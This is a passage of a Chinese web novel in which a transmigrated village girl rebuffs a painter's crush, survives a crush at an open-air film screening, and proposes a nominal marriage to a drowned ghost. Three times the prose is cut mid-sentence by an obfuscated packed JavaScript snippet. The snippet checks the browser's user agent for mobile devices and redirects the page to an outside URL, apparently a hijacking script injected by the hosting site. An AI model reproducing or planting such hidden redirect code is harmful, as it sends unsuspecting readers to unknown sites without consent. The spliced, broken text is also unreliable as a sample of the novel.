邓霞叹了口气,“这也是她日子不好过的其中一个原因。本来人城里婆婆再娶一个城里儿媳妇,家里能再分得一个人的口粮,现在儿子非要娶一个农村媳妇,粮票什么的各种票都是按户口分,柔妮儿又捞不着,就只能吃丈夫和婆家人的口粮,自然就不受待见,哪怕每回分了粮食后李家人都会跑一趟县城,给这个女儿带去一些粮食和菜。” 钟颖听着,只是想想都能感受到这种困窘的境地。 “而且高嫁哪里是容易的,”邓霞又是重重的叹了口气,“你还记得那次我们一家子去李队长家见到柔妮儿,瘦得吓人,她娘说是因为又流产了,光我知道的都有三回了!她这可是结婚才五年,就流产了三回,只留出了一个丫头。” 邓霞唏嘘不已,所以她才不想让自己闺女成为第二个“跃农门”的人,“跃”过去是一步登天还是一脚踏进地狱,还真是不好说。 钟颖听得吃惊,“怎么会流产这么多次?” 邓霞摇头,“这谁知道呢?各家私底下的事,谁会往外说?” “总之,”邓霞又瞪起眼睛来恐吓女儿,“你别给我起心思,不说这青年是城里人的身份,他在绘画队的工作就不安稳,到处跑,你嫁过去了他要是对你不好,我和你爹去揍人都不知道往哪儿去揍!” 钟颖连忙发誓,“娘,我真的不会起嫁给他的心思!” 笑话,她连嫁人这事都不想,更不用说还想什么嫁给个城里人。 而且钟颖原本就是城里长大的小孩,没有这时代农村人对城市户口的向往和崇拜。 钟颖用最真诚的眼神向她娘证明,她真的不会被迷了心窍。 邓霞终于放下心来。 “钟二婶子——”门外传来刘丰收的呼唤声。 邓霞把门敞开,“咋了,丰收?” 刘丰收看见邓霞身后的钟颖,老老实实喊了一声人,“颖姐。” “我就是想来说一声,让颖姐小心那个姓纪的。”刘丰收说着面露嫌弃,“我觉得这人眼神不好、脑子也不好。” “他居然说颖姐美丽、恬静、有才华,人清冷又柔和——” 邓霞一巴掌拍在刘丰收的脑袋上,“你什么意思?我闺女不是这样的吗?” 刘丰收吃痛的捂着脑袋,他就没见过比钟二婶娘还护崽子的! 钟颖倒是有自知之明的说了句公道话,“娘,这几个形容词确实和我不沾边。” 也不知道这人是怎么臆想她的,男人可真会按照自己的想法“创造”梦中情人。 邓霞扭头看钟颖,“胡说八道!至少‘美丽’没说错!” 钟颖:……亲妈滤镜了。 刘丰收悄悄瞄一眼钟颖,也觉得好像没错。虽然人们说起同甘生产队一枝花往往指的是他大姨家的三表姐李柔,但现在仔细一看,钟颖长得也不差嘛,就是她性子不柔顺、脾气太差,掩盖住了长相上的优点。 清冷又柔和是吧?钟颖撸起袖子,露出一个略显残忍的笑容来,“明天我让他见识一下什么叫暴躁又嘴毒。” 天色暗下来,夜色袭来,村庄里的人们劳作了一天早早睡下,黄土路上空无一人,河面上却出现了一道身影。 李霖时远远看着墙面上的那副宣传画,他不需要光就能看清画面正中钟颖那张被放大绘出的脸庞,堪比言语的直白表达。 她会答应吗?她会……嫁给别人吗? 李霖时突然理解了堂弟长贵为什么几次三番的说那些不中听的话。 他怕是担心的就是当下这种情况吧。 李霖时自嘲的轻笑一声,唇边绽开的笑却带着杀意,他第一次对一个全然不相识的人产生杀心。 理智在竭力控制着,李霖时周身冷寂,身后的河水却像他内心情绪的映照,河面失去平静,无风起浪,波涛汹涌的怒嚎着拍打在岸边的石头上。 直到晨光熹微,上工的人们各自走出家门,李霖时黑沉无光的眼眸一动,甘霖河才重新归于平静。 只是李霖时动了。 攀上河边岩石的苍白手背上青筋浮现,他缓慢的从河里出来,一步一步,如同逼近的野兽。 只不过钟颖比他更快的“出手攻击”。 邓霞这回还特意主动把家里看门的红糖给派出来保护闺女。 不过她还是多虑了,钟颖一个人“战斗力”就足够了。 朝阳披撒在世间万物身上,钟颖带着红糖一过来,她就拿着画笔和颜料“磨刀霍霍”,抢占位置、用胳膊肘挤开纪远长,钟颖故意用讨人厌的语气说,“你这画的什么呀?一点也不像我,也不符合宣传画正能量的基调。” “你看看人物的下颌角、口轮匝肌,画得都不到位,没有一点该有的力量感……” “还有这个脸色,这么白净,都不像是劳动人民,你看我画的那些人物,红光满面、气血充盈,一看就是在地里劳作了大半天,因为热火朝天的劳动热出来了红晕……” “画面最中心的人物更要用心刻画,要充满英雄气概和乐观主义精神……” 纪远长的心在一句接一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574282|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句的挤兑中碎成一片又一片,无法相信面前的人和昨天他的清冷女神是同一个人。 谢计祥忍不住轻咳一声,“小钟啊,有时候说话要给男人留点面子……” 钟颖眨眨眼,抱歉,伤害男人的事我就干。 给男人留面子什么的,想都别想。 钟颖三下五除二的把原本宣传画中的自己改成健康红润的面色、丰盈有力的脸庞,让人一看这画就会惊叹,这姑娘肯定特有劲儿!就是越改越不像钟颖,现在就算认识的人过来看也只能说是略有些眼熟、但对不上人的程度。 看着转眼间墙上已经变得“面目全非”的人物画,纪远长:…… 李霖时停住了脚步:…… 搞艺术创作的人最忌讳别人在自己的作品上肆意修改,纪运长不只感觉自己的心碎了,他还觉得喘不动气,钟颖这是踩在他的雷点上又蹦又跳啊! 钟颖想着既然自己不搭理他会被曲解成清冷,那……就怎么讨人厌怎么来吧。 “怎么样?我画的是不是比你好、比你更符合整幅宣传画所要弘扬的精神?”钟颖故意得意的问纪远长,把他男性的自尊按在地上摩擦。 纪远长现在不喜欢她了,现在他恨她。 可再看墙上的画,纪远长又说不出一句不好,确实画得比他好、比他更符合宣传画所要弘扬的精神。 可要真的承认这点,纪远长又说不出口,只咬紧牙绷着脸默默走到旁边去填充角落麦田的细节。 李霖时默默退回河里,他早该明白的,钟颖的“杀伤力”有多强,就连他自己,不也是好机会被她气得不行。 谢计祥摇头,“唉,小钟啊……” 完了,这一桩好姻缘被她自个儿糟蹋完了。 “我本来还想带你进绘画队的。”谢计祥叹息。 钟颖倒是没觉得多可惜,偷得几日闲就罢了,她就没想过一直画宣传画。 都说干一行恨一行,钟颖也是如此,最初她学画画也只是她妈觉得女孩子应该学门特长,后来选择游戏专业,也是因为她爸觉得和互联网沾边的行业有发展前景,也许最开始拿起画笔时钟颖确实是有些喜爱的,但后来……都磨光了。 同甘村不愧是富商严选,山清水秀,除了发展落后了些,和世外桃源没什么差别,钟颖还真不想跟着绘画队天南海北的到处画宣传画,她可是这辈子要当咸鱼的人,咸鱼就应该窝在一个地方悠闲度日才对。 同甘生产队的众人一看改过了的画,又都是心中了然。 这时代的人们讲究一个“一切尽在不言中”,不怎么爱表露内心最真实的情感,也不会特别没情商的把话大咧咧的说出来,也就没人真的直接去问钟颖,“你这是拒绝人青年了?” 一切尽在不言中,况且又过了一天,绘画队的一老一少和生产队的众人道别,对钟颖的帮忙更是道谢得客气又客套,大家就更明白了,得,那就当什么都没发生过吧。 不过留在村口的宣传画可真好看啊,大片丰收的麦子、满脸喜悦的人们,只是看着这画,生产队的队员们就觉得秋收的辛劳都不算什么了,一切都是值得的,都是为了国家,有国才有家,国家好了才有他们自己的好日子。 “底下的红字写得都是什么啊?”不识字的人拉着别人问。 钟颖回答他,“是‘鼓足干劲,争取农业大丰收’。强大伯,早先扫盲班你是不是逃课了?” 刘强摆手,“没逃,我这个笨脑子只是不往里面记,学了转眼就忘!” 围着看宣传画的人们顿时笑出了声。 钟颖看着人们,也轻轻跟着笑了起来,现实是比墙上的宣传画更生动的一幅画。 她的目光又越过人群,落到他们身后的甘霖河上,河面无波无澜,倒是和画上的河流一样的平静。 36. 露天电影 秋收过后又是经历了一次交粮,长达两个月不停歇的快节奏、高效率的劳作才算是暂告一断落。 天气转凉,人们从身着一件春秋两用衫变成了穿两件,日子齐整些的人家,开始穿上一层面一层里的夹衣。 地里新种的小麦出了苗,除了日常的除草、施肥管理外,在土壤封冻前还要浇一次透水,人们管这叫“越冬水”,为了保证小麦根部有足够的水分安全越冬,防止冻害。 总之随着气温的降低,田间人们的生活节奏又渐渐放缓。 钟颖坐在一个小板凳上仰靠在院子里的墙上,板凳前面两条腿悬空,只靠后面两条腿支撑住她的重量,她悠闲地翘着二郎腿,闭着眼感受着秋高气爽,万籁俱寂,时间好像在这个时空、这个时刻变得格外的慢。 慢到钟颖能清晰的感受到拂过脸颊的微风、鼻子嗅到的农村特有的烟火味、听到院墙外树叶被风吹得窸窣的响声…… 钟颖穿着一件花格子夹衣,衣裳面是前年裁的,爱惜得只下过三回水,还算是新布,里子就是从旧衣服拆下来的旧布再利用了,不过旧布也没什么不好,洗过很多次,早已经变得非常柔软,和皮肤直接接触很舒服。 花格子夹衣下是一条黑色粗布长裤,忒土,妥妥一个农村小土妞的穿搭。 即使这样,钟颖也没觉得有什么不好,秋收后去公社交粮,外面俨然成了“一片绿”、“一片黄”的天下,也就乡下还能再看到点不一样的色彩。不过现在生产队上也有些男人开始学着外面人穿绿色的军便服了。 在她旁边,是有样学样的钟国强小朋友,也翘着小腿学着他姑的样子仰靠在墙上。 邓霞从厨房出来,看着这悠闲快活的一大一小俩孩子,脑壳都疼。 这闺女早先不是自己都着急嫁人的事吗?怎么现在反倒越来越不把这事放心上? 邓霞那叫一个发愁,闺女看着可一点要给人家当媳妇的样子都没有,再这么放任不管下去,她还怎么嫁人? “颖妮儿,”邓霞硬下心来,朝女儿喊,“来,今天午饭你来做。” 在院子水井边压水的苗素云闻声立刻说,“娘,压完水了我来做吧。” 这种水井引上来水了就不能停,一停又要大力压好几下才能再把水引上来。 邓霞看看勤快的儿媳妇,又看看懒洋洋的闺女,咬咬牙,“不行,今天饭就让颖妮儿来做!” 板凳的两条前腿落地,钟颖只得有些莫名的站起身来走向厨房。 做饭这事,钟颖本人是不会的,原本的钟颖也只能说是做过,次数一只手能数得过来。 钟颖她妈当家庭主妇当得深恶痛绝,于是让女儿一点都别沾这些事,深觉懒人有懒福,不会做正好找个会做家务的男人。 邓霞则是成长在一个封建传统的典型农村家庭,和这时候的大多女孩子一样,从记事起就帮着做家务,受尽了委屈,所以在逃离娘家自己成家后,邓霞就暗自发誓,以后她有了孩子,绝不会让闺女过她以前那种苦日子。 所以原本的钟颖在家也干活,但干得不算多,毕竟她爹要干、她哥要干、她弟也要干,家务活一分摊,落到每个人身上的活儿就不多了,不像邓霞以前家里,活计都落在女娃身上。 钟颖见她娘铁了心的站在一旁当监工,只好循着记忆,有些笨拙的开始在锅台下塞柴火,引火,忙活了半天才把锅热起来。 锅台上的那口大锅已经被邓霞洗干净了,锅里的水汽被烧得正旺的柴火蒸干,钟颖手忙脚乱的往里面加一小勺白花花的猪油、加葱花、加菜。 炒个菜被烟熏了眼睛两次、被油崩了四回,简直是千辛万苦好不容易才做出了一道有些糊的炒芸豆,钟颖忍不住去看旁边的她娘,眼神询问,她还要继续做吗? 邓霞心里怪不是个滋味,闺女好不容易养白一点的脸上左糊一块右糊一块的灰,简直像在炉膛里滚了一圈的猫崽,再母老虎的人都看不得孩子这幅样子,可嫁了人哪个女人不是这样滚一遭,邓霞忍不住悲从中来。 “我可怜的闺女啊,都怪娘,只想着在家时让你少受点委屈,可等嫁了人,怕是更要受委屈。” 钟颖一脸懵的被她娘抱住。 邓霞难过的哭嚎,“做了人家的媳妇可不能像在家做闺女这样了,勤快点、多做家务,洗衣服做饭,这些都是女人的活儿,你在家做得少了,嫁了人可不能这样,男人会不乐意、婆家人也会嫌弃……” 钟颖听着也想哭了,这哪是嫁人,这是过去做保姆啊! 一想到自己下一年就要嫁给个这时代的男人,过这种保姆人生,钟颖也忍不住悲从中来,痛哭起来。 苗素云听到哭声冲过来,又手足无措的站在一旁,不知道该怎么劝才好。 钟春生从地里回到家,顾不上别的,急急走进厨房,看着抱头痛哭的娘俩也是一阵无措,“这,嫁去别人家吃苦的话,那妮儿就不嫁人了——” 钟颖立刻抬头看向她老爹,被泪水冲刷过的眼眸亮得惊人,她可以吗?! “不行!”邓霞也是眼泪一收,扭头瞪向自家男人,“你这说得什么诨话!我闺女又不是嫁不出去!” 现在人们的观念就是如此,没有不想结婚的,只有不能结婚的,譬如生产队里打光棍的赖混子,被人指着背后笑话是常有的事。 受这种环境和思想的影响,哪怕邓霞再心疼闺女嫁了人可能会受委屈,也从没想过什么不嫁人的事。 “女人只有嫁了人,老了才有个依靠,”邓霞瞪着钟春生,“咱俩还能跟她一辈子啊?!” 钟颖叹气,这种话哪怕放到现代依然会有父母这么说,思想是最难改变的。更何况,算起来,邓霞都不是固执的奶奶辈,而是还要再早些的太奶奶那辈。 “那就挑个好青年,能少吃苦的就少吃苦。”钟春生讨好的安抚着媳妇。 邓霞这才放过他。 钟春生看了看锅里的饭菜,又说起一事,“咱们中午可得快点吃,晚上砬弯沟要放电影,队里的人都打算下午早早就过去占位置。” 一听这话,邓霞顿时精神一振,“放电影?都轮到砬弯沟了?那过两天就能到咱们生产队了!” “是要赶紧吃了饭过去占位置!”邓霞心急的直接把女儿往外一挤,抢过做饭的事情。 钟颖奇怪,“既然过两天就轮到咱们生产队了,为啥还要去砬弯沟看?” “能看两遍的为啥不看?”邓霞头也不抬的答道。 行吧,钟颖默然,忘了这时候人们的娱乐活动太少,看电影也是个稀罕事了。 这时候农村人们看的电影是露天电影,是为了鼓励或者奖赏,才会安排放映队下乡给生产队的人们放次电影,像这次秋收后这回的放电影,就是给劳动了一个秋天的社员们犒劳和放松的。 吃过午饭后,远近几个生产队的人们就拿着自家板凳陆陆续续聚集到砬弯沟生产队的打麦场上,兴奋的小孩子们在人群中追逐打闹,更有调皮的小子朝地上挖出的两个深坑里扔石头。 公社放映员转回头来一看,气得直骂,这两个坑是他特意挖了要插竹竿的,之后幕布就要扯在这两根竹竿上高高挂起。 钟妮和钟拴柱姐弟俩也早早过来占位置了,他们看到二叔一家,抱着凳子就走近过来挨着坐。 “姐,你吃蚕豆吗?我自己炒的。”钟妮问着,已经把手里的零嘴塞给钟颖一大把。 钟颖有点不好意思,“我都没拿什么吃的。” 钟妮摇摇头,堂姐帮她的哪是一把蚕豆能比的,她又转头塞给二叔、二婶、堂嫂、堂弟、侄子一人一把,原本装得还算满的布兜分完已经瘪了下去。 这下就连邓霞都不好意思了,“你都给我们了,你爹再说你。” 钟妮笑笑,“我爹又不进厨房,他不知道的。” 现在她也学着“灵活”了些。 邓霞乐了,“行,等会儿婶子回家炒点瓜子,晚上带过来给你们几个小的分分!” 钟拴柱过来把他兜里的蚕豆塞到他姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582476|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的布兜里,一听这话,姐弟俩都高兴的直点头。 怕别人悄无声息的把自己占位的凳子往后推,大多数人下午过来了就不会再走,吃点东西唠个嗑,一直等到晚上电影放映。 天一擦黑,在生产队队长家吃过招待饭的两个放映员终于过来了,他们在众人热切的目光下调试着放映机器、架上发电机、挂上幕布…… 等到黑暗中一束光打到幕布上,有激动的孩子立刻克制不住的欢呼一声。 挤挤挨挨坐着的人们骚动起来。 “前面的,你低低头,挡着画面了!” “挤一挤,你?昨儿不是在你们榆钱洼放过了,怎么今天还来我们砬弯沟看?” “哎,你别扶着我肩膀啊,自己站凳子上去……” 又等了好一会儿,银幕上出现雄伟激昂的电影序幕,意味着电影开始了,人群立刻安静下来,专注的紧盯着屏幕。 “打一枪换一个地方,不准放空枪……” 寂静的夜里,只有电影中的人物在说话。 钟颖的目光从正在放映的黑白电影挪到周围的人身上,明明灭灭的光打在他们的脸上,无一不是看入了迷、全神贯注。 那从放映机中投射出的光,不仅仅是电影的光,也是他们贫瘠人生中的一束光。 人们如饥似渴的感受着“光”。 电影放映过半,人们看得正起劲儿呢,突然天公不作美,噼里啪啦的下起了雨,雨势很急,眨眼间就听几声啪啪的爆破声,马上银幕上一片漆黑。 被爆破声吓到的人们、躲雨的人,黑暗中乱做了一团,谁也看不清谁,只一个劲儿的起身往前拱。 “快走!下雨了!” “电线啪啪地冒火了!放映机要炸了!” “都别挤了,有人摔倒了——” 有人在这么大声呼叫着。 钟颖被人群挤得脚都落不到地面上,左一脚右一脚,踩到的全是软的,她着急的想要去拉本来坐在她旁边的钟妮,一扯却是一只骨节粗大的妇人手。 这下糟了,钟颖心慌,因着电影是在砬弯沟放映,大伯娘可没能跟着钟妮。 她左看右看,一片黑暗的混乱中也看不清楚人脸,不只是钟妮,其他家人也不知都被挤到了哪里。 周边三、四个生产队的人都来看电影,宽敞的打麦场都坐满了,这一乱起来,也不知道是谁被挤得摔倒了,钟颖心中担心,频频回头四处张望。 钟颖只能大声喊,“大家别慌,不要挤了!再挤真要踩死人了!” 这喊声即使人们听到了也没用,没有人能在这样的骚动下停住脚步,每个人都像漩涡里的落叶,被人潮卷着往前推搡。 钟颖越发心急,这种拥挤踩踏是真的会出人命的! 人群里,个子矮小的一个妇人也是眉头紧拧,趁着黑暗的遮掩就往地下一钻。 还在往前推挤的人突然能向前走了一大步,整个人疑惑的发出一声,“唉?” 土地里频频伸出一只手抓住那些快要摔倒的人们的脚面,将他们失控的身体稳住。 钟颖心系被挤散的家人们,她身后的人急迫地推搡,脚步一错,钟颖只觉一个踉跄,腿弯一软,身体就要往前扑倒—— 一只苍白有力的手紧紧抓住钟颖的肩膀,几乎可以说是提溜着她往前走。 好不容易挤出了人群,又有人抓住了钟颖的手腕,几乎是同时,自身后抓住她肩膀的手就消失了。 钟信一抹脸上的雨水,脸上带着焦急、庆幸,“太好了,姐,你没事!爹、娘,嫂子他们都先出来了,正着急找你呢!我们快过去!” 钟颖点点头,跟着弟弟往前小跑,又见他光着一只脚,“你鞋呢?” “被挤掉了,”钟信没当回儿事,“等会儿人散了我再回去捡。” 钟颖又问,“嫂子带着国强没被挤着哪儿吧?妮儿和拴柱都出来了吗?” “嫂子和国强没事,”钟信说,“表姐还没出来,拴柱哥去找了。” 37. 嫁人 钟颖一听弟弟说钟妮还没出来,心里一急,这要是钟妮出个什么事,大伯娘还不得疯成厉鬼? 不过好在没一会儿,钟妮就从打麦场跑出来了。 钟颖急急上前拉住她,上下打量,人看着没什么事,就是浑身被雨淋透了,秋雨冷冽,淋得人瑟瑟发抖。 “快,咱们到一边躲雨去。”钟颖拉着钟妮往别人家的屋檐下走,心有余悸的说,“吓死我了,我真怕刚刚那人喊的‘有人摔倒了’是你。” 钟妮有些不自在,嗫嚅着说,“没,刚刚……我没事。” 雨夜太黑,钟颖没有察觉到这点。 这场无疾而终的电影放映导致的结果是放映机维修、本该在同甘生产对队放映的场次被无限期的延后;砬弯沟一姓叶的妇人被踩伤了腿,伤筋动骨一百天,怕是要到过年前后才能再下地走路;钟信不只捡回了自己的鞋,还捡到了凑不成对的各种鞋子二十七只、破凳子五个、散架的凳子腿一箩筐;以及…… “刘家托了胡打听去你家给他家三儿和你姐说亲?” 钟颖难以置信的重复了一遍钟拴柱刚刚说的话。 钟拴柱点点头,“所以我来叫婶子过去。” 邓霞立刻放下手上的活儿,跟着侄子走了。 钟颖被这突然的消息弄得满脑子问号,什么时候的事?怎么就来说亲了?到底发生了什么? 干想也想不出个什么答案,钟颖也放下手里的事情,跑出去找能给她答案的人。 果然这次钟妮也没有旁听的资格,在河边被钟颖找到了。 面对表姐抛出的一个接一个的问题,钟妮脸上有点不好意思,但还是如实回答,“那天晚上放电影不是出乱子了吗,是他护着我出来的……” 钟颖抱臂,抬手用手指敲着自己的脑袋,“……所以你们就看对眼了?” 这时候年轻男女感情的产生就这么快吗? 钟妮脸一下子涨得通红,“姐!你说啥呢?” “你不愿意?”钟颖掉头就走,“那我赶紧去和我娘通个气,别真的定下了。” “姐!”钟妮连忙追上去拉住钟颖,被河水浸泡过的手冰凉,冻得钟颖一激灵。 钟妮有些羞窘,但还是说出自己的想法,“我也、我也没不愿意。他人老实、干活也有劲儿……” 生产队里年轻男女虽然平日里不怎么搭腔,但都是一个地方生活的,多少还是有点了解,比起上一个砬弯沟的青年,这次来提亲的刘广田,钟妮心里多了些底,没有了之前的忐忑不安。 钟颖看着钟妮,她是生于这个时代、长于这个时代的女孩,思想上还是很传统的,盼着能嫁个好人,既然她自己愿意,钟颖想了想,这个刘家三子除了兄弟姐妹多了些、性格内向寡言以外,其他倒也没什么不好,总比他弟弟刘家老四要好。 曹芳幽幽的叹了一口气,“这就是缘分。” 她就这一回没能跟在女儿身边就险些出了事,可就这一回有人替她护住了女儿。 曹芳想,这也许就是天意,她迟早都要走,她一直执着于女儿嫁人的事,也是期盼着在她走后能有人替她护住女儿。 和钟妮分开后,钟颖往家走,路上又碰到了另一个当事人。 刘广田知道他娘和胡打听替他上门说亲了,他心里像有人敲鼓一样,怎么都静不下心来干活,出门走走就遇上了钟颖,他老老实实喊了一声人,“颖姐。” 钟颖这次不能把他当路人甲来看待了,认真的审视一番,不偏不倚的来说,比起生产队的其他青年来说,刘广田已经还算好了,就是兄弟太多。 “我问你,兄弟重要还是媳妇重要?”钟颖表情不善的问,“要有一天发生冲突了,你站哪边?” 刘广田没有立刻回答,仔细思考了一番后才说,“媳妇重要,兄弟结婚后各自成家,如果起了冲突,那也是为了各自小家的利益,我肯定也是站在自己家这边。” 钟颖撇撇嘴,行吧,还算是眼明心亮。 “我会一直盯着你的。”钟颖比划了个“盯着”的手势,对着刘广田说,“要是对我妹不好,你等着被我收拾吧。” 刘广田老老实实的点头。 他比钟颖还小一岁,虽然小时候没被钟颖揍过,但看她揍了自己弟弟丰收不少次,刘广田对她也是天然的发怵,知道钟颖可不是放狠话,而是说的是实话。 钟颖走出去一段路,又想到什么,掉回头来问,“你不会像你大哥那样打媳妇吧?” 正傻笑着的刘广田立刻收敛脸上的表情,连连否认,“不会不会,我不会跟我大哥那样的!” 钟颖百信半疑的点点头,还是放过了他。 “他们刘家的孩子怎么好一茬坏一茬的……”钟颖在回家的路上暗自嘀咕,“老大不行,老二、老三还成,老四又坏了,剩下两个小的看起来也还行……” 邓霞算是看着生产队里这些孩子长大的,要是来说亲的是别的生产队的青年,她肯定还要再相看相看,但说的是同村的刘家老三,她知根知底,思索一番就答应下来,那是个老实孩子。 就这样,钟妮和刘广田的婚事就先定下来了。 几个女人七嘴八舌定下了各个细节,彩礼多少钱、陪嫁要给多少、正日子定在哪天、婚房怎么装修…… 作为媒人的胡打听很高兴,事情说成了!媒人礼少不了她的。 男方家长的林淑红很高兴,三儿子可算是没受老大的连累,说上媳妇了! 作为女方这边长辈的邓霞也很高兴,她也算是没辜负早逝的妯娌和侄女。 只有钟秋收不高兴,彩礼居然只要了二十!而且还要让闺女带走自己过日子用!他什么都没捞着,以后家里还要少个做饭的! 钟秋收几次三番的想要开口,却都插不进嘴去。 邓霞瞟着他,暗自痛快,该,早先有媳妇养着、后来有闺女养着,钟秋收这老东西也是时候该下“地狱”过苦日子了。 不过没几天邓霞又不痛快了。 钟妮都定亲了,比她还大两岁的钟颖却还没个着落。 “胡打听家的小儿子喜欢吗?比你小两岁——” 钟颖埋头扫地,打断她娘的话,“不喜欢,还像个小孩似的整天跟在他娘屁股后面。” 邓霞又追到女儿身边,“那个程知青呢?你之前不是还挺喜欢他的吗?” “人还想回城里呢,娘你不是觉得‘跃农门’不是个好事吗?”钟颖反诘。 邓霞盘算了盘算生产队剩下的未婚男青年,去掉年龄实在是太小的,再剩下的都是些歪瓜裂枣了。 “那娘再往别的生产队打听打听。”邓霞心里发愁,还是不太舍得闺女嫁太远。 钟颖心烦,“不是下年再说吗?您快歇歇吧,再过两个来月就要过年了,屋子不收拾?年货不准备?我哥是不是还说要寄票回来让我们裁布做衣服?” 她一口气说了好多事情,这才分散了邓霞的注意力。 只是,钟颖重重的叹了口气,感觉自己早晚都逃不掉这一关。 可要让她嫁给这时候的男人,简直就像是电子锁配了把黄铜钥匙! 钟颖一边往地上泼着水,一边扫地,就算不提和男人之间的思想代沟,她想着生产队里嫁了人的妇人,刘家伯娘生了六个孩子、隔壁的范五家婶子生了五个…… 女人从嫁了人之后就开始不停的生、生、生,这是这个年头不可避免的事情,没有计划生育,人们也没什么娱乐,除了下地干活就是睡觉,一睡觉孩子可不就一窝窝的往外冒。 况且农村把孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586618|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子作为生产力来看,孩子生得越多,干活的人也就越多。 钟颖算了一圈,也就她娘算是生得少的妇人了,三个孩子,这还是因为连着生了她哥和她,伤了身子,隔了七年才再生下了弟弟钟信;她大伯家孩子也少,那是因为大伯娘死得早,但大伯娘生前也是生下了五胎;胡打听生的孩子也不多,也是三个,因为她男人死得早…… 总结来说,要么把自己的身体糟蹋坏,就能少生,可钟颖既不想糟蹋自己的身体,也一个都不想生。 那剩下的办法就只有要么她死,像大伯娘一样死了就不用生了,要么就是把男人弄死,像胡打听一样守寡就能不生孩子了…… 钟颖握紧扫帚,思维已经跑偏到“不是你死就是我亡”,她是真的不知道,如果真的到那一天,她会不会“大郎,来喝药吧”。 男的,会喘气的,现在在钟颖眼里简直就是万恶之源。 可要是让她真的动手,钟颖到底是法治社会长大的,很难干出这种犯法的事情,而且,既然鬼乱杀人都只能投畜生道,那人杀人就不会了吗? 钟颖头疼的想着,嘴巴喃喃冒出一句,“好想直接嫁给一个死人啊……” 等等,她嫁了啊! 钟颖一瞬间头脑清明起来,既然结婚这关人人都得过,那就别怪她用另一种“通关办法”了。 “在吗在吗?”吃过午饭后,钟颖抱着衣服来河边洗,找了个僻静的位置,对着河面问。 半天无鬼回应。 钟颖百无聊赖的把手伸进河水里撩拨着玩,“又不在?” 可放电影那晚,能那么非人的突然出现又骤然消失,不是他还能是谁呢? “你不出现我就当你真的是去投胎了。”钟颖说着,浸在河水里的手突然被钳住,修长的手指就这么覆上她的手腕。 许久不露面的鬼终于冒出来个头,李霖时平静的看着钟颖,他确实打算去投胎了。 李霖时又回到了甘霖河中,回想着那天他居然对一个全然不相识的人起了杀心,“失控”已经开始出现端倪。 他不应该这么做的。 是,钟颖有着非常独特的灵魂,即使在夜色中,所有人都隐在黑暗中聚精会神的看电影,明明银幕上才是光源的汇集处,可李霖时偏偏觉得发光的是钟颖,所以他才能一眼就看到她。 不对,他不应该看她的,他就是落在钟颖身上的目光太多了。 李霖时无法否认自己在无数个瞬间为之触动的心,但是,年猪的悲惨嚎叫仿佛仍在耳边回响,他是喜欢钟颖,但这种喜欢还不足以令他飞蛾扑火一般,愿意承受这种代价。 当断不断,反受其乱。 “理智”回归,李霖时冷静的想着,他现在这副样子还能与钟颖发展出什么呢?她总会嫁人的,她会有个正常的、美满的家庭,还会有围着她一圈的孩子们…… 果然还是应该像长贵说的那样,与其日后亲眼看到这些场景,不如现在就放下一切去投胎。 李霖时克制住只是想想便又升起波涛的情绪,愤怒、杀心又化成阴沉的心灰意冷。 “理智”仿佛变成一根尖锐的利笔,在李霖时的脑袋里刻下一个又一个的“不应该”,他不应该看她的,他不应该心动,他不应该产生妄念…… 他应该去投胎。 “理智”压制住了“失控”。 哪怕是此刻直面她,李霖时感觉自己也是平静的。 钟颖想着原主上回是“先斩后奏”,这次她商量着来,“我娘开始着急我嫁人的事了,你也知道,我根本就不想嫁人。” 李霖时静静听着。 “所以啊,我想来想去,”钟颖看着河里的鬼,认真的说,“我还是想要嫁给你。” 平静的水面还是碎了。 38. 闺女 再平静的水面也抵挡不住人的撩拨。 李霖时难以相信自己听到了什么,他从河水里冒出上半身来,直直的盯着钟颖,却只能从她澄澈的眼睛中看到自己黑沉眸色中暗生妄想的晦涩难辨。 一瞬间,李霖时明白过来,恼怒自己刚刚心底升起的一丝惊喜、恼怒她又是想要利用他。 李霖时沉下脸来,面色难看,“你知不知道自己在说什么?我已经死了!” 钟颖轻快的点头,“我知道啊。” 嫁的就是死的,省得她自己杀了。 这么想着,钟颖眨眨眼,额,好像面前这个男鬼就是原本的钟颖害死的。 李霖时也是挺惨的,活着没被那个钟颖放过,死了又没被她放过,钟颖为他默哀,但毫无悔改。 “我就是借你个名头用用。”钟颖说得轻巧,“就和当时你堂弟那事一样,只不过当时是暗地里达成夫妻的名份帮助你们两鬼离开,现在是在人们面前再过一遍明路帮我一把。” 李霖时又一次感受到了波澜迭起的愤怒,只不过这一次他不是因为他被怎么样而愤怒,而是愤怒于她,她怎么能将事情想得如此轻描淡写,她到底知不知道嫁给一个死人意味着什么?她有没有为自己想过后半生? 